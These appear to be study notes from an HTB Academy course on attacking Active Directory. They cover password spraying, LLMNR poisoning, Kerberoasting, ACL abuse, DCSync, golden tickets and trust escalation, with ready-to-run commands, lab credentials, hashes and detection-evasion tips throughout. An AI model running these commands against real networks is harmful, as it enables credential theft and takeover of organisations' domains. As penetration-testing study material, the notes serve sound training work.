HTB Academy - Active Directory Enumeration and Attacks
Initial Enumeration
External Recon
Useful for validating information provided, or to find additional information that can be used in our own penetration test.
- E.g., Credentials, password leaks for the company.
What to look for:
- IP space - ASN, netblocks, DNS entries etc.
- Domain information - Administrators, subdomains, MX/DNS servers, etc.
- Schema format - Valid email accounts, AD usernames, password policies to aid with spraying/brute forcing.
- Data disclosures - Published files, leaks in Git repositories, etc.
- Breach data - Publicly released credentials, etc.
Useful tools:
- Address spaces, ASN - BGP Toolkit, IANA,
arin,RIPE - DNS -
Domaintools, ICANN,viewdns.info - Social Media (LinkedIn, Twitter)
- Public-facing Company websites
- Cloud and Dev Spaces - GitHub, Cloud storage (
grayhatwarfare.com), Google dorking - Breach data -
HaveIBeenPwned,Dehashed
Usernames can be harvested using linkedin2username.
Internal Enumeration
Key data points to note:
- AD Users
- AD Joined Computers (DCs, file servers, SQL servers, web servers, MX, DB, etc.)
- Key services (Kerberos, NetBIOS, LDAP, DNS)
- Vulnerable hosts and services
Passive Host Identification through captured network packets:
- Using
Wireshark: Sniff traffic and check for ARP packets, as well as MDNS. - Using
tcpdump:sudo tcpdump -i ens224to sniff traffic on a specific interface (make sure to use the interface on the internal network). - On Windows, we can use
pktmon.exe, which is built into Windows 10. - We can also use
Responderto passively analyse LLMNR, NBT-NS and MDNS packets; use the-Aoption to analyse.
Active Host Identification:
- Use
fpingto do a ping scan:fping -asgq <target CIDR block> -aoption shows alive targets.-soption to print stats.-gto generate a list of targets.-qto not show per-target results.- Use
nmapto enumerate the list of alive targets further.
User enumeration:
- Use
kerbrute, along with user lists likejsmith.txtandjsmith2.txt. Pointkerbrutetowards the identified DCs.kerbrute userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 jsmith.txt -o valid_ad_users
LLMNR/NBT-NS Poisoning
Conduct network poisoning and act as a MITM to obtain hashes. This can be done by poisoning LLMNR or NBT-NS for host identification, when DNS fails.
- LLMNR runs on port 5355, NBT-NS runs on port 137.
- We can use
Responderto poison resolution requests over these protocols. This allows us to capture NTLM hashes.
The basis of this attack depends on the user providing an invalid hostname (e.g., printer01.inlanefreight.local instead of print01.inlanefreight.local).
- Our
Responderinstance will then pretend to be the invalid host. Afterwards, the requester sends an authentication request to our instance, which includes the NTLM hash. This hash can be cracked or used in SMB Relay attack.
To prevent these attacks, we can disable LLMNR and NBT-NS.
- LLMNR can be disabled through group policies.
- NBT-NS must be disabled locally on each host.
From Linux
Tools that can be used: Responder, Inveigh and Metasploit.
Responder on default settings: sudo responder -I <target interface>.
Useful Responder options:
-Afor passive analysis.-wfto start a WPAD rogue proxy server and fingerprint the remote host OS and version.-vfor increased verbosity.-Ffor forced WPAD authentication.-Pfor proxy authentication.
To crack hashes, we can use hashcat on mode 5600 (NTLM).
From Windows
Tools that can be used: Inveigh.
- Note that
Responderis also available as an executable.
To use Inveigh:
Import-Module .\Inveigh.ps1
(Get-Command Invoke-Inveigh).Parameters
We can start Inveigh with LLMNR and NBNS spoofing using:
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y
Inveigh also has a C# executable version, which provides an interactive console.
- To run:
.\Inveigh.exe. - To get all commands available in the interactive console:
HELP - To view captured hashes:
GET NTLMV2UNIQUE - To view usernames:
GET NTLMV2USERNAMES
Password Spraying
With valid credentials, we can obtain the password policy remotely using crackmapexec or rpcclient:
crackmapexec smb <ip> -u <username> -p <password> --pass-pol.
SMB Null Session
Using a null SMB session/LDAP anonymous bind, we can also get the password policy.
- (Linux) Sign in using
rpcclientto a null SMB session, then issue thegetdompwinfocommand to view the password policy. - We can use
enum4linuxfor this as well.
From Windows, we can attempt to connect using a null session:
net use \\DC01\ipc$ "" /u:""
- If we wish to try a credential pair, replace
""with our password wrapped in quotes, and replace/u:""with our username wrapped in quotes. For example:net use \\DC01\ipc$ "password" /u:guest
LDAP Anonymous Bind
Legacy configuration; we can use LDAP-specific enumeration tools like windapsearch.py, ldapsearch, ad-ldapdomaindump.py etc.
- Using
ldapsearch, we can get the password policy as follows:ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
From Windows, we can use net.exe if we are authenticated:
net accounts
- Alternatively, we can use
PowerViewon PS:
import-module .\PowerView.ps1
Get-DomainPolicy
Default Domain Password Policy
| Policy | Default Value |
|---|---|
| Enforce password history | 24 days |
| Maximum password age | 42 days |
| Minimum password age | 1 day |
| Minimum password length | 7 |
| Password must meet complexity requirements | Enabled |
| Store passwords using reversible encryption | Disabled |
| Account lockout duration | Not set |
| Account lockout threshold | 0 |
| Reset account lockout counter after | Not set |
Making a target user list
To get a list of valid domain users, we can:
- Use an SMB NULL session to retrieve a complete list of domain users from the DC
- Utilize LDAP anonymous bind to query LDAP anonymously and pull down the domain user list
- Use a tool like
kerbruteto validate users from a word list (statistically-likely-usernamesorlinkedin2username) - Using a set of credentials that are provided/captured through
Responder, or through another password spray with a smaller wordlist
SMB NULL enumeration can be done using enum4linux, rpcclient and crackmapexec:
enum4linux -U 172.16.5.5 | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"
rpcclient -U "" -N 172.16.5.5
rpcclient $> enumdomusers
crackmapexec smb 172.16.5.5 --users
LDAP anonymous bind enumeration can be done using windapsearch and ldapsearch:
ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "./windapsearch.py --dc-ip 172.16.5.5 -u "" -U
kerbrute utilises Kerberos pre-authentication, and this is a stealthy way to perform user enumeration as it does not generate the event ID 4625 (Account failed to logon).
- The tool sends a TGT request to the DC using a specified username (event ID 4768 - TGT was requested). If the username is valid, the KDC will prompt for Kerberos pre-authentication. Else, it returns
PRINCIPAL UNKNOWN. This does not count towards logon failures and does not lock out accounts. - However, when Kerberos pre-authentication is used for password spraying, failed authentication attempts can lock out accounts.
kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt
Finally, with valid credentials, we can also get a full list of users using crackmapexec:
sudo crackmapexec smb 172.16.5.5 -u htb-student -p Academy_student_AD! --users
Password Spraying from Linux
We can use rpcclient, and check for Authority Name in the response (which indicates a valid login):
for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done
Alternatively, we can use kerbrute:
kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome1
crackmapexec can also be used:
sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +
If the local administrator password/hash is obtained, we can try to spray the same password or hash across multiple hosts.
- This is due to local administrator password reuse, which can arise due to the use of gold images.
- We can use
crackmapexecfor this. It is worth to target high-value hosts such as SQL or Microsoft Exchange servers.
If we wish to spray NT hashes using crackmapexec, make sure to use the --local-auth option, which tells the tool to only attempt log in once on each machine, to reduce the chance of account lockout.
- This is crucial for the built-in administrator.
- Without the
--local-authoption, the tool attempts to authenticate using the current domain, which can quickly result in account lockouts.
sudo crackmapexec smb --local-auth 172.16.5.0/23 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep +
Password Spraying from Windows
We can use the DomainPasswordSpray tool.
- Once we are authenticated, the tool generates a user list from AD, queries the domain password policy and excludes user accounts within one attempt of lock out.
- If we want to provide our own user list, we use the
-UserListoption.
Likewise, we can use kerbrute on Windows as well.
Credentialed Enumeration
Linux
We can use crackmapexec for user, group and logged on user enumeration:
- Domain users:
--users. Crucially, we can view thebadPwdCountattribute which tells us of accounts that are close to lock out. - Domain groups:
--groups. This allows us to note down groups of interest. - Logged on domain users:
--loggedon-users
For share enumeration, we can use smbmap.
For more extensive enumeration options, we can use rpcclient.
- When enumerating users, we can use the
rid, or relative identifier of users. The RID is a part of the SID of the user object, and is unique to each user. - However, note that some accounts have the same RID irrespective of host. An example would be the built-in administrator account, with an RID of 500, or
0x1F4in hexadecimal.
For remote access, we can use psexec.py or wmiexec.py.
psexec.pywill start a shell asSYSTEM.wmiexec.pystarts a shell as the provided user, which may be stealthier thanpsexec.
For LDAP enumeration, we can use windapsearch.
- The
--daoption lets us enumerate domain admins group members. - The
-PUoption lets us find privileged users through a recursive search on nested groups.
BloodHound
Ingest AD data through the collector, and visualise it in the GUI.
Running BloodHound:
sudo bloodhound-python -u 'forend' -p 'Klmcargo2' -ns 172.16.5.5 -d inlanefreight.local -c all
- Use the
-coption to specify what data to collect.
Windows
ActiveDirectory PS Module:
- To import the module for use:
Import-Module ActiveDirectory, thenGet-Moduleto confirm that the module is loaded. - To get information about the domain:
Get-ADDomain - To get information about a user:
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName. - Here, we check for users with
ServicePrincipalName != NULLas they may be susceptible to Kerberoasting attack. - To verify domain trusts:
Get-ADTrust -Filter * *will return all domain trusts.- To enumerate groups:
Get-ADGroup -Filter * | select name. - To get info about a group:
Get-ADGroup -Identity "Backup Operators" - To get group membership:
Get-ADGroupMember -Identity "Backup Operators"
PowerView
| Command | Description |
|---|---|
Export-PowerViewCSV |
Append results to a CSV file |
ConvertTo-SID |
Convert a User or group name to its SID value |
Get-DomainSPNTicket |
Requests the Kerberos ticket for a specified Service Principal Name (SPN) account |
| Domain/LDAP Functions: | |
Get-Domain |
Will return the AD object for the current (or specified) domain |
Get-DomainController |
Return a list of the Domain Controllers for the specified domain |
Get-DomainUser |
Will return all users or specific user objects in AD |
Get-DomainComputer |
Will return all computers or specific computer objects in AD |
Get-DomainGroup |
Will return all groups or specific group objects in AD |
Get-DomainOU |
Search for all or specific OU objects in AD |
Find-InterestingDomainAcl |
Finds object ACLs in the domain with modification rights set to non-built in objects |
Get-DomainGroupMember |
Will return the members of a specific domain group |
Get-DomainFileServer |
Returns a list of servers likely functioning as file servers |
Get-DomainDFSShare |
Returns a list of all distributed file systems for the current (or specified) domain |
| GPO Functions: | |
Get-DomainGPO |
Will return all GPOs or specific GPO objects in AD |
Get-DomainPolicy |
Returns the default domain policy or the domain controller policy for the current domain |
| Computer Enumeration Functions: | |
Get-NetLocalGroup |
Enumerates local groups on the local or a remote machine |
Get-NetLocalGroupMember |
Enumerates members of a specific local group |
Get-NetShare |
Returns open shares on the local (or a remote) machine |
Get-NetSession |
Will return session information for the local (or a remote) machine |
Test-AdminAccess |
Tests if the current user has administrative access to the local (or a remote) machine |
| Threaded ‘Meta’-Functions: | |
Find-DomainUserLocation |
Finds machines where specific users are logged in |
Find-DomainShare |
Finds reachable shares on domain machines |
Find-InterestingDomainShareFile |
Searches for files matching specific criteria on readable shares in the domain |
Find-LocalAdminAccess |
Find machines on the local domain where the current user has local administrator access |
| Domain Trust Functions: | |
Get-DomainTrust |
Returns domain trusts for the current domain or a specified domain |
Get-ForestTrust |
Returns all forest trusts for the current forest or a specified forest |
Get-DomainForeignUser |
Enumerates users who are in groups outside of the user’s domain |
Get-DomainForeignGroupMember |
Enumerates groups with users outside of the group’s domain and returns each foreign member |
Get-DomainTrustMapping |
Will enumerate all trusts for the current domain and any others seen. |
The -Recurse option is useful for enumerating nested group memberships.
To acquire credentials or sensitive data in AD environments, we can use Snaffler.
.\Snaffler.exe -s -d inlanefreight.local -o snaffler.log -v data
-sprints output to the console.-dspecifies the domain.-ologs output to a logfile.-vspecifies the verbosity level.
BloodHound
On Windows, we run SharpHound.exe to collect data:
.\SharpHound.exe -c All --zipfilename ILFREIGHT
Afterwards, upload the zip file and interact with the GUI.
Start off by typing domain: into the search bar and look for our domain of interest. Then, we can run a few pre-built queries for analysis.
Living off the Land
Basic Enumeration Commands
| Command | Result |
|---|---|
hostname |
Prints the PC’s Name |
[System.Environment]::OSVersion.Version |
Prints out the OS version and revision level |
wmic qfe get Caption,Description,HotFixID,InstalledOn |
Prints the patches and hotfixes applied to the host |
ipconfig /all |
Prints out network adapter state and configurations |
set |
Displays a list of environment variables for the current session (ran from CMD-prompt) |
echo %USERDOMAIN% |
Displays the domain name to which the host belongs (ran from CMD-prompt) |
echo %logonserver% |
Prints out the name of the Domain controller the host checks in with (ran from CMD-prompt) |
systeminfo provides all of the above information in one single output.
To bypass detection, we can attempt to downgrade PS: powershell.exe -version 2
- This can be helpful in cases where older versions of PS remain installed on a host.
- PS 2.0 and older will not have script block logs on Event Viewer, thus allowing for bypassing of detection.
- However, the command issued to downgrade PS will be logged.
To check firewall status from PS: netsh advfirewall show allprofiles
To check Windows Defender status from cmd: sc query windefend
- From PS:
Get-MpComputerStatus
To view logged on users: qwinsta
Routing enumeration:
arp -ato view ARP routes.route printto view IP routes.
Quick WMI checks
| Command | Description |
|---|---|
wmic qfe get Caption,Description,HotFixID,InstalledOn |
Prints the patch level and description of the Hotfixes applied |
wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:List |
Displays basic host information to include any attributes within the list |
wmic process list /format:list |
A listing of all processes on host |
wmic ntdomain list /format:list |
Displays information about the Domain and Domain Controllers |
wmic useraccount list /format:list |
Displays information about all local accounts and any domain accounts that have logged into the device |
wmic group list /format:list |
Information about all local groups |
wmic sysaccount list /format:list |
Dumps information about any system accounts that are being used as service accounts. |
Table of Useful Net Commands (Domain enumeration)
| Command | Description |
|---|---|
net accounts |
Information about password requirements |
net accounts /domain |
Password and lockout policy |
net group /domain |
Information about domain groups |
net group "Domain Admins" /domain |
List users with domain admin privileges |
net group "domain computers" /domain |
List of PCs connected to the domain |
net group "Domain Controllers" /domain |
List PC accounts of domains controllers |
net group <domain_group_name> /domain |
User that belongs to the group |
net groups /domain |
List of domain groups |
net localgroup |
All available groups |
net localgroup administrators /domain |
List users that belong to the administrators group inside the domain (the group Domain Admins is included here by default) |
net localgroup Administrators |
Information about a group (admins) |
net localgroup administrators [username] /add |
Add user to administrators |
net share |
Check current shares |
net user <ACCOUNT_NAME> /domain |
Get information about a user within the domain |
net user /domain |
List all users of the domain |
net user %username% |
Information about the current user |
net use x: \computer\share |
Mount the share locally |
net view |
Get a list of computers |
net view /all /domain[:domainname] |
Shares on the domains |
net view \computer /ALL |
List shares of a computer |
net view /domain |
List of PCs of the domain |
Note: using net1 instead of net will execute the same functionality.
- Useful for evasion.
As SYSTEM, we can run dsquery to query domain objects.
dsquery userto query users.dsquery computerto query computers.dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"for a wildcard search on OU objects.
We can also make use of LDAP search filters for our queries.
- Here, we query UAC (user account control) attributes.
OID match strings:
1.2.840.113556.1.4.803: For exact matches (useful for single attributes).1.2.840.113556.1.4.804: For any match (useful for multiple attributes).1.2.840.113556.1.4.1941: For Distinguished Name matches.
Usage example:
dsquery * -filter "(userAccountControl:1.2.840.113556.1.4.803:=8192)"
- This queries for domain controller objects.
Logical operators like & and ! and | can be used to join queries.
- e.g.,
(&(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=64))
Kerberoasting
Kerberoasting targets Service Principal Name (SPN) accounts. In essence, these are domain accounts used for services, or service accounts.
- SPNs associate service instances with service accounts.
As long as we have valid credentials, we can retrieve TGS tickets for a service account using the SPN.
- Then, crack the ticket offline to get a cleartext password for the account (Note that the ticket is encrypted with the password hash).
- This is crucial as service accounts are usually highly privileged.
To do this, we need valid credentials (password/NT hash/TGT) and the IP of the DC.
From Linux
We can use GetUserSPNs.py:
- List SPN accounts:
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend - Request TGS tickets:
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request - Request TGS ticket for specific account:
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user sqldev
We can use the -outputfile option to write the TGS tickets to a file for cracking.
Once we have the TGS ticket, we can crack it using hashcat on mode 13100.
Verify the account permissions by using crackmapexec, Pwn3d! should appear to confirm that our account has local admin permissions.
From Windows
Manual method
Using setspn and mimikatz.
Enumerate SPNs: .\setspn.exe -Q */*. Note that this gives computer accounts as well, which we want to ignore.
Request TGS tickets:
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433"
- Here, we are using the
System.IdentityModelobject. - Feed in the SPN as an argument.
This loads the tickets into memory, and we can extract them using mimikatz.
kerberos::list /export.
- To export in
base64format instead, we can specifybase64 /out:truebefore running the command. Note that thebase64encoded string must be converted tokirbiformat.
The kirbi files can then be converted to john format using kirbi2john, and cracked with john.
- If we want to use
hashcat, we have to modify the format:sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
Automated method
Using PowerView:
- To enumerate SPNs:
Get-DomainUser * -spn | select samaccountname - To get ticket:
Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat
Using Rubeus:
- Enumerate Kerberoastable users:
.\Rubeus.exe kerberoast /stats - Get tickets with no line-wrap:
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap - This targets administrative accounts.
ACL Abuse
Enumerating ACLs
We can enumerate ACLs with PowerView, using the Find-InterestingDomainAcl cmdlet.
- However, this will yield too many results for us to sieve through.
A better way is to only review the ACLs of users which we have control over.
- Get the SID of the user using the
Convert-NameToSidcmdlet, and pass it as a filter to theGet-DomainObjectACLcmdlet, where we only look for objects which our user has rights to:Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
Using BloodHound,
- Set our controlled user as the starting node, then look for outbound control rights.
- Look for transitive object control.
ACL Abuse
Provided scenario:
- Use the
wleyuser to change the password for thedamundsenuser - Authenticate as the
damundsenuser and leverageGenericAllrights to add a user that we control to theHelp Desk Level 1group - Take advantage of nested group membership in the
Information Technologygroup and leverageGenericAllrights to take control of theadunnuser
First step: authenticate as wley and create a new password for damundsen.
- Authenticate as
wleyusing aPSCredentialobject. - Create a new password as a
SecureStringand useSet-DomainUserPasswordto change the password ofdamundsen.
Next step: authenticate as damundsen and add damundsen to the Help Desk Level 1 group.
Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose- Confirm group addition using
Get-DomainGroupMember.
Final step: Using GenericAll rights, we can modify SPN of adunn to execute a Kerberoasting attack.
- Create a fake SPN with
Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose - Kerberoast with
Rubeus:.\Rubeus.exe kerberoast /user:adunn /nowrap - Finally, crack the obtained hash with
hashcat.
DCSync Attack
An attack to steal the AD password database using Directory Replication Service Remote Protocol.
- Request a DC to replicate passwords via the
DS-Replication-Get-Changes-Allextended right. - Domain/enterprise admins and default domain admins have this right.
Extracting NTLM hashes and Kerberos Keys using secretsdump.py:
secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5
-just-dcoption extracts NTLM hashes and Kerberos Keys from theNTDS.ditfile.-just-dc-ntlmoption extracts only NTLM hashes.-just-dc-user <USERNAME>extracts data for a specific user.-pwd-last-setshows us when each account’s password was last changed.-historyprovides a dump of password history.-user-statusallows us to check if a user is disabled.
Note that this can dump cleartext passwords if reversible encryption is enabled for accounts.
- Check using
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
Attacking using mimikatz:
- Run PowerShell in the context of the DCSync user:
runas /netonly /user:INLANEFREIGHT\adunn powershell - Start
mimikatz:.\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator" exit
Privileged Access
We can use BloodHound to view the following permissions:
- CanRDP
- CanPSRemote (use WinRM)
- SQLAdmin
With PowerView, we can use Get-NetLocalGroupMember to enumerate members of the respective groups.
On BloodHound, we can use this query to view WinRM users:
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2
To view SQL Admins:
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) RETURN p2
- With MSSQL access, we can
enable_xp_cmdshellto execute commands via the DB. - For example,
xp_cmdshell whoami /priv
Kerberos Double Hop
WinRM/PS authentication using Kerberos does not result in the storage of credentials in memory.
- This results in the credentials not being transferred over multiple hops.
Workaround 1: Using a PSCredential Object
- Store our login credentials as a
PSCredentialObject, which allows us to pass this object along with our command for authentication using the-credentialoption.
Workaround 2: Register-PSSessionConfiguration
Register-PSSessionConfiguration -Name backupadmsess -RunAsCredential inlanefreight\backupadm- Once done, restart the WinRM Service using
Restart-Service WinRM - Note that this method doesn’t work on
evil-winrmas it requires GUI access and a proper PS console.
Bleeding Edge Vulnerabilities
NoPac (SamAccountName Spoofing)
Exploit - changing the SamAccountName of a computer account to that of the Domain Controller.
- Then, request a TGT and change the computer account name back to its original name.
- Now, request a TGS using the TGT with the spoofed DC name. As a result, Kerberos TGS tickets are requested under the name of the DC instead of the expected host (due to a closest name match). This can grant a SYSTEM shell on the DC.
PrintNightmare
Print Spooler vulnerability.
PetitPotam (MS-EFSRPC)
LSA spoofing vulnerability, allows an unauthenticated attacker to coerce a DC to authenticate over another host using NTLM on port 445, via LSARPC.
Misc Misconfigurations
Microsoft Exchange
Exchange Windows Permissions group users can write DACL to the domain, allowing the addition of users.
Organization Management group (Exchange admins) can access user mailboxes.
Dumping credentials can yield NTLM hashes/cleartext credentials due to Outlook and Exchange caching credentials in memory after a successful login.
Notable attack - PrivExchange attack, which elevates permissions to SYSTEM as Exchange is overprivileged.
Printer Bug
MS-RPRN Printer Bug.
MS14-068
PAC forging, where a KDC will accept a forged PAC. Can be exploited using Impacket or PyKEK.
LDAP Credential sniffing
A good way to steal LDAP credentials would be to use the test connection function, and connect to our nc listener over port 389.
DNS Dumping
We can use adidnsdump to enumerate DNS records in a domain, which can allow us to find a new attack vector.
adidnsdump -u inlanefreight\\forend ldap://172.16.5.5 -r
Misc
Passwords in Description or Notes fields. Can be enumerated with PowerView.
Get-DomainUser * | Select-Object samaccountname,description |Where-Object {$_.Description -ne $null}
PASSWD_NOTREQD
If this field is set, accounts do not need to follow the password policy, nor do they need to have passwords.
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol
SMB Shares and SYSVOL Script credentials
Passwords could be found in the SYSVOL SMB share. If credentials are found, we can attempt to spray these credentials using a tool like CrackMapExec.
When a new GPP is created, an XML file (Groups.xml) is created in this share, which can contain passwords.
- The
cpasswordattribute is AES-256 encrypted, but can be decrypted. - We can use a tool like
gpp-decryptto decrypt the password. - We can also use a tool like
Get-GPPPassword.ps1to locate these passwords automatically.
Registry.xml file can also be found in SYSVOL share, which may contain credentials.
- We can use
gpp_autologinmodule ofcrackmapexecfor this:crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M gpp_autologin
ASREPRoasting
We can obtain the TGT for accounts with Do not require Kerberos pre-authentication setting enabled.
- The authentication service reply (AS_REP) is encrypted with the account password, and any domain user can request this.
Note: if we have GenericWrite/GenericAll permissions over an account, we can enable this attribute and do an ASREPRoasting attack.
Enumeration with PowerView: Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | fl
Rubeus attack: .\Rubeus.exe asreproast /user:mmorgan /nowrap /format:hashcat
- Then crack using
hashcaton mode 18200.
Kerbrute: kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt
- Note that the tool automatically does the attack on affected accounts with no Kerberos pre-authentication.
Impacket: GetNPUsers.py INLANEFREIGHT.LOCAL/ -dc-ip 172.16.5.5 -no-pass -usersfile valid_ad_users
GPO Abuse
Having control of a GPO allows us to add additional rights to a user (SeDebugPrivilege, SeImpersonatePrivilege etc.), add local admins or create scheduled tasks.
Enumeration:
Get-GPO -All | Select DisplayNamePowerView:Get-DomainGPO | select displayname
Enumerating user GPO rights:
$sid=Convert-NameToSid "Domain Users"
Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid}
View GPO Name (from GUID): Get-GPO -Guid 7CA9C789-14CE-46E3-A722-83F4097AF532
These rights can also be viewed in BloodHound.
We can abuse these misconfigurations by using a tool such as SharpGPOAbuse.
Domain Trusts
Enumerating trusts:
Import-Module activedirectory
Get-ADTrust -Filter *
- Child domains can be identified by the
IntraForest=Trueattribute when callingGet-ADTrust. - PowerView:
Get-DomainTrust,Get-DomainTrustMapping - We can enumerate users in child domains/trusted domains using
Get-DomainUser
Enumeration on cmd: netdom query /domain:inlanefreight.local trust
- Query DCs:
netdom query /domain:inlanefreight.local dc - Query workstations:
netdom query /domain:inlanefreight.local workstation
Attacking Child -> Parent Trusts from Windows
SID History - tracks a user’s SIDs in different domains, to ensure access.
- We can inject an administrator account to the SID history of another account, which grants us the permissions of the administrator.
- This attack works only if there is a lack of SID filtering protection (used to protect against cross domain authentication over a trust). We have to spoof the ticket from our compromised child domain.
- Note that our target user (whom we wish to grant more permissions) does not need to exist.
mimikatz ExtraSids attack:
- Firstly, obtain KRBTGT account hash in the child domain:
mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt. This allows us to spoof TGT tickets (golden ticket attack). - Then, get the SID of the child domain using
Get-DomainSID. - Then, get the SID of the enterprise admins group using
Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsid. - Now, using
mimikatz, create a Golden Ticket:kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt - We now have a ticket for our user residing in memory (view using
klist)
Rubeus: .\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt
- Pass the
krbtgtaccount hash, which is RC4 encrypted. /sidsgrants our account the same permissions as the enterprise admins group.
With the golden ticket, we can access resources in the parent domain (like file shares in the parent domain DC), or perform another attack like DCSync.
- Test access in parent domain:
ls \\academy-ea-dc01.inlanefreight.local\c$ - DCSync for a user in parent domain:
lsadump::dcsync /user:INLANEFREIGHT\lab_adm /domain:INLANEFREIGHT.LOCAL
The idea here is that we spoof our own hacker account as an Enterprise Admin in our target parent domain (INLANEFREIGHT.LOCAL). We then obtain a golden ticket (TGT) for this account which grants us access to resources in the parent domain.
Attacking Child -> Parent Trusts from Linux
We need the same bits of information:
- KRBTGT hash in child domain
- SID of child domain
- Name of a target user in child domain (
hacker) - FQDN of child domain
- SID of Enterprise Admins group of root domain
DCSync with secretsdump.py: secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgt
- To get NT hash of
krbtgtaccount.
SID Brute-forcing: lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240
- Here, we specify the IP address of the DC in the child domain.
- This returns the SID of the domain, as well as the RIDs of the users. SIDs of users can be derived by appending RID to the end of SID (e.g., if SID of domain is
S-1-5-21-2806153819-209893948-922872689and RID oflab_admuser is1001, then the user SID isS-1-5-21-2806153819-209893948-922872689-1001) - However, our main interest here is the domain SID.
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 | grep "Domain SID"
Likewise, we get SID of the Enterprise Admins group in the root domain by using the IP address of the root DC: lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.5 | grep -B12 "Enterprise Admins"
Finally, we can use ticketer.py to generate golden tickets:
ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker
- Child domain SID is under
-domain-sidoption, Enterprise Admins group SID is under-extra-sidoption
The ticket is saved as ccache file, which we set as our KRB5CCNAME environment variable:
export KRB5CCNAME=hacker.ccache
Finally, get a SYSTEM shell on the DC using this ticket:
psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/hacker@academy-ea-dc01.inlanefreight.local -k -no-pass -target-ip 172.16.5.5
We can also use raiseChild.py to automate the escalation of child to parent domain.
- Specify the target DC and credentials for an admin user in the child domain.
raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm
Running secretsdump on a specified user with golden ticket:
secretsdump.py -k -no-pass logistics.inlanefreight.local/hacker@academy-ea-dc01.inlanefreight.local -just-dc-user bross -target-ip 172.16.5.5
Cross-Forest Trust Abuse from Windows
Kerberoasting
Cross Forest Kerberoasting can be useful to obtain credentials for an administrative user in another domain, with Domain/Enterprise Admin privileges in both domains.
Likewise, start off by enumerating accounts with SPNs:
Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL | select SamAccountName
- To enumerate the account membership, select
memberofas well.
Then, Kerberoast the user with Rubeus, but pass in the /domain option:
.\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap
Once the passwords are cracked, it is worth checking for reuse in the other domain.
Also consider group memberships - admins in one domain may also be part of an admin group in another domain, due to Domain Local Groups allowing principals outside its forest.
- We can enumerate groups with such users using
Get-DomainForeignGroupMember, to check for foreign group membership.Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCALThen, convert member SID to its name usingConvert-SidToName
